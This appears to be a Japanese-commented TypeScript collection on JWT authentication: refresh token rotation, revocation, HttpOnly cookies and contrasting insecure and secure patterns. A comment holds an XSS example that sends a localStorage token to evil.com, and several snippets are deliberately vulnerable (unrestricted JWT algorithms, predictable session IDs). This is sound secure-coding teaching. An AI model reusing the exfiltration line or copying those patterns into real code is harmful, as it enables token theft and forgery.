// Refresh Token Rotation の実装
import { SignJWT, jwtVerify } from 'jose';
import crypto from 'crypto';
 
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY_DAYS = 7;
 
interface RefreshTokenRecord {
  token: string;       // ハッシュ化されたトークン
  userId: string;
  family: string;      // トークンファミリー（Rotation 追跡用）
  expiresAt: Date;
  used: boolean;       // 使用済みフラグ
}
 
// Access Token 発行
async function issueAccessToken(userId: string, role: string): Promise<string> {
  const secret = new TextEncoder().encode(process.env.JWT_SECRET!);
  return new SignJWT({ sub: userId, role })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime(ACCESS_TOKEN_EXPIRY)
    .setJti(crypto.randomUUID())
    .sign(secret);
}
 
// Refresh Token 発行
async function issueRefreshToken(userId: string, family?: string): Promise<string> {
  const token = crypto.randomBytes(32).toString('hex');
  const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
 
  await db.refreshToken.create({
    data: {
      token: hashedToken,
      userId,
      family: family || crypto.randomUUID(), // 新規ログイン時は新しいファミリー
      expiresAt: new Date(Date.now() + REFRESH_TOKEN_EXPIRY_DAYS * 24 * 60 * 60 * 1000),
      used: false,
    },
  });
 
  return token;
}
 
// Refresh Token によるトークン更新
async function refreshTokens(refreshToken: string): Promise<{
  accessToken: string;
  refreshToken: string;
}> {
  const hashedToken = crypto.createHash('sha256').update(refreshToken).digest('hex');
 
  const record = await db.refreshToken.findUnique({
    where: { token: hashedToken },
  });
 
  if (!record || record.expiresAt < new Date()) {
    throw new Error('Invalid or expired refresh token');
  }
 
  // 既に使用済みのトークンが再利用された → 窃取の可能性
  if (record.used) {
    // 同じファミリーの全トークンを無効化（セキュリティ対策）
    await db.refreshToken.deleteMany({
      where: { family: record.family },
    });
    throw new Error('Refresh token reuse detected - all sessions revoked');
  }
 
  // 使用済みにマーク
  await db.refreshToken.update({
    where: { token: hashedToken },
    data: { used: true },
  });
 
  // 新しいトークンペアを発行（同じファミリー）
  const user = await db.user.findUnique({ where: { id: record.userId } });
  if (!user) throw new Error('User not found');
 
  const newAccessToken = await issueAccessToken(user.id, user.role);
  const newRefreshToken = await issueRefreshToken(user.id, record.family);
 
  return { accessToken: newAccessToken, refreshToken: newRefreshToken };
}

// Redis ベースのブラックリスト
import Redis from 'ioredis';
 
class TokenBlacklist {
  private redis: Redis;
 
  constructor(redisUrl: string) {
    this.redis = new Redis(redisUrl);
  }
 
  // トークンをブラックリストに追加
  async revoke(jti: string, expiration: number): Promise<void> {
    const ttl = expiration - Math.floor(Date.now() / 1000);
    if (ttl > 0) {
      // 残りの有効期限分だけ保持（自動削除でメモリ効率化）
      await this.redis.setex(`bl:${jti}`, ttl, '1');
    }
  }
 
  // ブラックリストチェック
  async isRevoked(jti: string): Promise<boolean> {
    return (await this.redis.exists(`bl:${jti}`)) === 1;
  }
 
  // ユーザーの全トークンを無効化（Token Version 方式）
  async revokeAllForUser(userId: string): Promise<void> {
    // ユーザーのトークンバージョンをインクリメント
    await this.redis.incr(`tv:${userId}`);
  }
 
  // トークンバージョンの検証
  async isTokenVersionValid(userId: string, tokenVersion: number): Promise<boolean> {
    const currentVersion = await this.redis.get(`tv:${userId}`);
    return !currentVersion || tokenVersion >= parseInt(currentVersion, 10);
  }
}
 
const blacklist = new TokenBlacklist(process.env.REDIS_URL!);
 
// トークン検証フローに組み込む
async function verifyAccessToken(token: string) {
  const secret = new TextEncoder().encode(process.env.JWT_SECRET!);
  const { payload } = await jwtVerify(token, secret, {
    algorithms: ['HS256'],
  });
 
  // ブラックリストチェック
  if (payload.jti && await blacklist.isRevoked(payload.jti as string)) {
    throw new Error('Token has been revoked');
  }
 
  // Token Version チェック
  if (payload.tv !== undefined) {
    const isValid = await blacklist.isTokenVersionValid(
      payload.sub as string,
      payload.tv as number
    );
    if (!isValid) throw new Error('Token version outdated');
  }
 
  return payload;
}

// Token Version（DB ベース、ブラックリスト不要）
// ユーザーテーブルに tokenVersion カラムを追加
 
// JWT 発行時に現在のバージョンを含める
async function issueTokenWithVersion(userId: string): Promise<string> {
  const user = await db.user.findUnique({ where: { id: userId } });
  if (!user) throw new Error('User not found');
 
  const secret = new TextEncoder().encode(process.env.JWT_SECRET!);
  return new SignJWT({
    sub: userId,
    role: user.role,
    tv: user.tokenVersion, // トークンバージョンを含める
  })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime('15m')
    .sign(secret);
}
 
// 全トークン無効化（パスワード変更時等）
async function revokeAllTokens(userId: string): Promise<void> {
  await db.user.update({
    where: { id: userId },
    data: { tokenVersion: { increment: 1 } }, // バージョンをインクリメント
  });
}
 
// 検証時にバージョンチェック
async function verifyTokenVersion(payload: {
  sub: string;
  tv: number;
}): Promise<boolean> {
  const user = await db.user.findUnique({
    where: { id: payload.sub },
    select: { tokenVersion: true },
  });
  return user !== null && payload.tv >= user.tokenVersion;
}

// ハイブリッドアプローチの完全実装
import { SignJWT, jwtVerify } from 'jose';
import { cookies } from 'next/headers';
import crypto from 'crypto';
 
// 環境変数から秘密鍵を取得
const secret = new TextEncoder().encode(process.env.JWT_SECRET!);
 
// --- ログイン処理 ---
async function login(email: string, password: string) {
  // 1. ユーザー認証
  const user = await authenticateUser(email, password);
  if (!user) {
    throw new Error('Invalid credentials');
  }
 
  // 2. Access Token（JWT）を生成
  const accessToken = await new SignJWT({
    sub: user.id,
    role: user.role,
    email: user.email,
  })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime('15m')
    .setJti(crypto.randomUUID())
    .sign(secret);
 
  // 3. HttpOnly Cookie に設定
  const cookieStore = await cookies();
  cookieStore.set('access_token', accessToken, {
    httpOnly: true,      // JavaScript からアクセス不可
    secure: true,        // HTTPS のみ
    sameSite: 'lax',     // CSRF 基本防御
    path: '/',
    maxAge: 15 * 60,     // 15分
  });
 
  // 4. Refresh Token は別の Cookie（長い有効期限）
  const refreshToken = crypto.randomBytes(32).toString('hex');
  const hashedRefresh = crypto.createHash('sha256').update(refreshToken).digest('hex');
 
  await db.refreshToken.create({
    data: {
      token: hashedRefresh,
      userId: user.id,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
    },
  });
 
  cookieStore.set('refresh_token', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',             // Refresh は Strict
    path: '/api/auth/refresh',      // リフレッシュ API のみ
    maxAge: 7 * 24 * 60 * 60,       // 7日
  });
 
  return { user: { id: user.id, email: user.email, role: user.role } };
}
 
// --- リクエスト検証ミドルウェア ---
async function verifyAuth(): Promise<{
  userId: string;
  role: string;
  email: string;
} | null> {
  const cookieStore = await cookies();
  const token = cookieStore.get('access_token')?.value;
  if (!token) return null;
 
  try {
    const { payload } = await jwtVerify(token, secret, {
      algorithms: ['HS256'],
    });
    return {
      userId: payload.sub as string,
      role: payload.role as string,
      email: payload.email as string,
    };
  } catch {
    return null; // トークン無効 → 未認証
  }
}
 
// --- トークンリフレッシュ ---
async function refreshAccessToken(): Promise<void> {
  const cookieStore = await cookies();
  const refreshToken = cookieStore.get('refresh_token')?.value;
  if (!refreshToken) throw new Error('No refresh token');
 
  const hashedToken = crypto.createHash('sha256').update(refreshToken).digest('hex');
  const record = await db.refreshToken.findUnique({
    where: { token: hashedToken, expiresAt: { gt: new Date() } },
    include: { user: true },
  });
 
  if (!record) throw new Error('Invalid refresh token');
 
  // 新しい Access Token を発行
  const newAccessToken = await new SignJWT({
    sub: record.userId,
    role: record.user.role,
    email: record.user.email,
  })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime('15m')
    .setJti(crypto.randomUUID())
    .sign(secret);
 
  cookieStore.set('access_token', newAccessToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
    maxAge: 15 * 60,
  });
 
  // Refresh Token Rotation: 旧トークン削除、新トークン発行
  await db.refreshToken.delete({ where: { token: hashedToken } });
 
  const newRefreshToken = crypto.randomBytes(32).toString('hex');
  const newHashedRefresh = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
 
  await db.refreshToken.create({
    data: {
      token: newHashedRefresh,
      userId: record.userId,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
    },
  });
 
  cookieStore.set('refresh_token', newRefreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/api/auth/refresh',
    maxAge: 7 * 24 * 60 * 60,
  });
}
 
// --- ログアウト ---
async function logout(): Promise<void> {
  const cookieStore = await cookies();
  const refreshToken = cookieStore.get('refresh_token')?.value;
 
  // Refresh Token を DB から削除
  if (refreshToken) {
    const hashedToken = crypto.createHash('sha256').update(refreshToken).digest('hex');
    await db.refreshToken.delete({ where: { token: hashedToken } }).catch(() => {});
  }
 
  // Cookie を無効化
  cookieStore.delete('access_token');
  cookieStore.delete('refresh_token');
}

// fetch のラッパー: 401 時に自動でトークンリフレッシュ
class AuthenticatedFetch {
  private isRefreshing = false;
  private refreshPromise: Promise<void> | null = null;
 
  async fetch(url: string, options?: RequestInit): Promise<Response> {
    let response = await fetch(url, {
      ...options,
      credentials: 'include', // Cookie を含める
    });
 
    // 401 なら Refresh Token でトークン更新を試行
    if (response.status === 401) {
      await this.refreshToken();
      // リフレッシュ成功後にリトライ
      response = await fetch(url, {
        ...options,
        credentials: 'include',
      });
    }
 
    return response;
  }
 
  private async refreshToken(): Promise<void> {
    // 同時に複数のリフレッシュ要求を防止
    if (this.isRefreshing) {
      return this.refreshPromise!;
    }
 
    this.isRefreshing = true;
    this.refreshPromise = fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include',
    }).then((res) => {
      if (!res.ok) {
        // リフレッシュ失敗 → ログインページへ
        window.location.href = '/login';
        throw new Error('Session expired');
      }
    }).finally(() => {
      this.isRefreshing = false;
      this.refreshPromise = null;
    });
 
    return this.refreshPromise;
  }
}
 
// 使用例
const api = new AuthenticatedFetch();
 
async function fetchUserProfile() {
  const response = await api.fetch('/api/user/profile');
  if (!response.ok) throw new Error('Failed to fetch profile');
  return response.json();
}

// Web Worker によるトークン隔離（高セキュリティ向け）
// auth-worker.ts
let accessToken: string | null = null;
 
self.addEventListener('message', async (event) => {
  const { type, payload } = event.data;
 
  switch (type) {
    case 'SET_TOKEN':
      accessToken = payload.token;
      break;
 
    case 'FETCH':
      const response = await fetch(payload.url, {
        ...payload.options,
        headers: {
          ...payload.options?.headers,
          Authorization: accessToken ? `Bearer ${accessToken}` : '',
        },
      });
      const data = await response.json();
      self.postMessage({ type: 'FETCH_RESULT', requestId: payload.requestId, data });
      break;
 
    case 'CLEAR_TOKEN':
      accessToken = null;
      break;
  }
});
 
// メインスレッドから使用
// const worker = new Worker('auth-worker.ts');
// worker.postMessage({ type: 'SET_TOKEN', payload: { token } });
// worker.postMessage({
//   type: 'FETCH',
//   payload: { url: '/api/data', options: {}, requestId: '1' }
// });

// NG: XSS で窃取可能
async function loginBad(email: string, password: string) {
  const response = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify({ email, password }),
  });
  const { token } = await response.json();
 
  // NG: localStorage に保存 → XSS で簡単に窃取される
  localStorage.setItem('access_token', token);
}
 
// XSS 攻撃者が以下のスクリプトを注入するだけで窃取可能:
// const token = localStorage.getItem('access_token');
// fetch('https://evil.com/steal', { method: 'POST', body: token });

// OK: HttpOnly Cookie に保存（サーバー側で設定）
async function loginGood(email: string, password: string) {
  const response = await fetch('/api/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
    credentials: 'include', // Cookie を受け取る
  });
 
  if (!response.ok) throw new Error('Login failed');
  // トークンは HttpOnly Cookie でサーバーが設定済み
  // JavaScript からは見えない → XSS で窃取不可能
  return response.json(); // ユーザー情報のみ返却
}

// NG: アルゴリズムを検証しない → alg: "none" 攻撃に脆弱
import jwt from 'jsonwebtoken';
 
function verifyTokenBad(token: string) {
  // NG: algorithms を指定していない
  return jwt.verify(token, publicKey);
  // 攻撃者が alg を "none" に変更すると署名なしで通る
  // 攻撃者が alg を "HS256" に変更し、公開鍵を秘密鍵として使うと偽造できる
}

// OK: アルゴリズムを明示的に制限
import { jwtVerify } from 'jose';
 
async function verifyTokenGood(token: string) {
  const { payload } = await jwtVerify(token, publicKey, {
    algorithms: ['ES256'],          // 許可するアルゴリズムを限定
    issuer: 'https://auth.example.com',
    audience: 'https://api.example.com',
  });
  return payload;
}

// NG: JWT ペイロードに機密情報
const badPayload = {
  sub: 'user_123',
  email: 'alice@example.com',
  password: 'hashed_password_here',  // NG: パスワードハッシュ
  ssn: '123-45-6789',               // NG: 社会保障番号
  creditCard: '4111-1111-1111-1111', // NG: クレジットカード番号
  internalNotes: 'VIP customer',     // NG: 内部メモ
};
// JWT は署名されるが暗号化されない → Base64URL デコードで誰でも読める

// OK: 必要最小限の情報のみ
const goodPayload = {
  sub: 'user_123',       // ユーザーID
  role: 'admin',         // ロール（認可に必要）
  org_id: 'org_456',     // 組織ID（マルチテナント用）
  // exp, iat, iss, aud はライブラリが設定
};
// 詳細情報が必要な場合は /userinfo API で取得

// NG: 予測可能なセッション ID
function generateSessionIdBad(): string {
  // NG: シーケンシャルな ID → 推測可能
  return `session_${Date.now()}`;
  // NG: Math.random() → 暗号的に安全ではない
  // return `session_${Math.random().toString(36)}`;
}

// OK: 暗号的に安全なランダム値
import crypto from 'crypto';
 
function generateSessionIdGood(): string {
  // 32バイト = 256ビットの暗号ランダム値
  return crypto.randomBytes(32).toString('hex');
  // 結果例: "a3f2b8c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1"
}